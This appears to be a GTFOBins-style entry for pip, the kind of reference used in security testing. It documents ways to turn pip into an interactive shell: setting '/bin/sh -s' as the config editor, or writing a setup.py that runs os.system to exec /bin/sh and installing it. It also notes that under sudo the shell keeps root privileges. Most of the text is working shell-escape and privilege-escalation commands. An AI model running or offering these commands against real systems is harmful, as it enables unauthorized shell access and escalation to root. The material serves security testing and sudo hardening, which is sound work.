Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    pip config --editor '/bin/sh -s' edit
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    pip config --editor '/bin/sh -s' edit

Inherit

This executable can inherit functions from another.
  1. Comment

    This allows to run Python code (...). It executes a Python script named setup.py in the directory passed as argument (.).

    Keep in mind that the TTY is lost, so /dev/tty can be used, for example:

    echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
    

    The --break-system-packages flag can be omitted in older systems.

    This function can be performed by any unprivileged user.
    echo '...' >setup.py
    pip install --break-system-packages .
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    echo '...' >setup.py
    pip install --break-system-packages .
    Functions

    Inherits from python, thus possibly granting its functions.